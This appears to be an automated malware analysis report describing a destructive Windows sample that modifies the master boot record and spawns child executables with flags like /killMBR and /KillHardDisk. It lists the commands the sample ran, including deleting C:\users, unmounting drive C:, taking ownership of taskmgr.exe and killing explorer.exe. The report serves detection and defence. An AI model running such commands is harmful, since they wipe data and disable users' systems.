Technical Information
To ensure autorun and distribution
Modifies master boot record (MBR).
Malicious functions
Executes the following
- '<SYSTEM32>\taskkill.exe' /f /im explorer.exe
Terminates or attempts to terminate
the following system processes:
- %WINDIR%\explorer.exe
Modifies file system
Creates the following files
- <Current directory>\180112.bat
- <Current directory>\56858.bat
- <Current directory>\69030.txt
- <Current directory>\166932.bat
- <Current directory>\331572.txt
- <Current directory>\65706.bat
- %TEMP%\mz_etilqs_npfbkzh7isdlknu
- <PATH_SAMPLE>1.exe
- <Current directory>\16469.txt
- <Current directory>\24196.bat
- <PATH_SAMPLE>5.exe
- <PATH_SAMPLE>9.exe
- <Current directory>\527457.txt
- <Current directory>\74295.bat
- <Current directory>\923530.txt
- <Current directory>\221904.txt
- <Current directory>\018440.txt
- <PATH_SAMPLE>7.exe
- <Current directory>\018962.txt
- <Current directory>\78214.txt
- <Current directory>\52556.bat
- <Current directory>\015676.txt
- <PATH_SAMPLE>0.exe
- <Current directory>\019485.txt
- <Current directory>\0.bat
- %TEMP%\mz_etilqs_v7t4pwmkeal3ypz
- <Current directory>\89177.txt
- <Current directory>\57320.bat
- %TEMP%\mz_etilqs_ec6lbmohwp4cwed
- <PATH_SAMPLE>8.exe
- <Current directory>\810305.txt
- <Current directory>\105714.bat
- <Current directory>\06197.txt
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Creates and executes the following
- '<PATH_SAMPLE>8.exe' 1684798191
- '<PATH_SAMPLE>0.exe' /autoup 1684798191
- '<PATH_SAMPLE>7.exe' /killMBR 1684798191
- '<PATH_SAMPLE>0.exe' /protect 1684798191
- '<PATH_SAMPLE>7.exe' /KillHardDisk 1684798191
- '<PATH_SAMPLE>0.exe' /killMBR 1684798191
- '<PATH_SAMPLE>7.exe' /killwindows 1684798191
- '<PATH_SAMPLE>0.exe' /KillHardDisk 1684798191
- '<PATH_SAMPLE>0.exe' /killwindows 1684798191
- '<PATH_SAMPLE>7.exe' /protect 1684798191
- '<PATH_SAMPLE>8.exe' /autoup 1684798191
- '<PATH_SAMPLE>1.exe' 1684798191
- '<PATH_SAMPLE>8.exe' /killMBR 1684798191
- '<PATH_SAMPLE>8.exe' /KillHardDisk 1684798191
- '<PATH_SAMPLE>5.exe' 1684798191
- '<PATH_SAMPLE>9.exe' 1684798191
- '<PATH_SAMPLE>8.exe' /killwindows 1684798191
- '<PATH_SAMPLE>7.exe' 1684798191
- '<PATH_SAMPLE>0.exe' 1684798191
- '<PATH_SAMPLE>8.exe' /protect 1684798191
- '<PATH_SAMPLE>7.exe' /autoup 1684798191
Executes the following
- '<SYSTEM32>\cmd.exe' /c start <Full path to file> /protect 1684798191
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>8.exe /autoup 1684798191
- '<SYSTEM32>\cmd.exe' /c start <Full path to file> /autoup 1684798191
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>0.exe /killwindows 1684798191
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>0.exe /KillHardDisk 1684798191
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>7.exe /killwindows 1684798191
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>0.exe /killMBR 1684798191
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>7.exe /KillHardDisk 1684798191
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>0.exe /protect 1684798191
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>7.exe 1684798191
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>7.exe /killMBR 1684798191
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>7.exe /protect 1684798191
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>7.exe /autoup 1684798191
- '<SYSTEM32>\cmd.exe' /c takeown /f <SYSTEM32>\taskmgr.exe
- '<SYSTEM32>\cmd.exe' /c del C:\users /r /f
- '<SYSTEM32>\takeown.exe' /f <SYSTEM32>\taskmgr.exe
- '<SYSTEM32>\cmd.exe' /c mountvol c: /d
- '<SYSTEM32>\cmd.exe' /c Cacls <SYSTEM32>\taskmgr.exe /t /e /c /guser:F
- '<SYSTEM32>\mountvol.exe' c: /d
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>1.exe 1684798191
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>8.exe /protect 1684798191
- '<SYSTEM32>\cmd.exe' /c start <Full path to file> /killMBR 1684798191
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>8.exe /killMBR 1684798191
- '<SYSTEM32>\cmd.exe' /c copy /b <Full path to file>+16469.txt <PATH_SAMPLE>1.exe
- '<SYSTEM32>\cmd.exe' /c copy /b <Full path to file>+810305.txt <PATH_SAMPLE>8.exe
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>8.exe 1684798191
- '<SYSTEM32>\cmd.exe' /c copy /b <Full path to file>+89177.txt <PATH_SAMPLE>8.exe
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im explorer.exe
- '<SYSTEM32>\cmd.exe' /c copy /b <Full path to file>+019485.txt <PATH_SAMPLE>0.exe
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>0.exe 1684798191
- '<SYSTEM32>\cmd.exe' /c copy /b <Full path to file>+015676.txt <PATH_SAMPLE>0.exe
- '<SYSTEM32>\cmd.exe' /c copy /b <Full path to file>+78214.txt <PATH_SAMPLE>7.exe
- '<SYSTEM32>\cmd.exe' /c copy /b <PATH_SAMPLE>8.exe+331572.txt <PATH_SAMPLE>83.exe
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>0.exe /autoup 1684798191
- '<SYSTEM32>\cmd.exe' /c copy /b <Full path to file>+018962.txt <PATH_SAMPLE>0.exe
- '<SYSTEM32>\cmd.exe' /c copy /b <Full path to file>+923530.txt <PATH_SAMPLE>9.exe
- '<SYSTEM32>\cmd.exe' /c copy /b <Full path to file>+527457.txt <PATH_SAMPLE>5.exe
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>8.exe /killwindows 1684798191
- '<SYSTEM32>\cmd.exe' /c start <Full path to file> /killwindows 1684798191
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>9.exe 1684798191
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>5.exe 1684798191
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>8.exe /KillHardDisk 1684798191
- '<SYSTEM32>\cmd.exe' /c start <Full path to file> /KillHardDisk 1684798191
- '<SYSTEM32>\cmd.exe' /c start <Full path to file> /save 1684798191
- '<SYSTEM32>\cmd.exe' /c copy /b <Full path to file>+018440.txt <PATH_SAMPLE>0.exe
- '<SYSTEM32>\cacls.exe' <SYSTEM32>\taskmgr.exe /t /e /c /guser:F
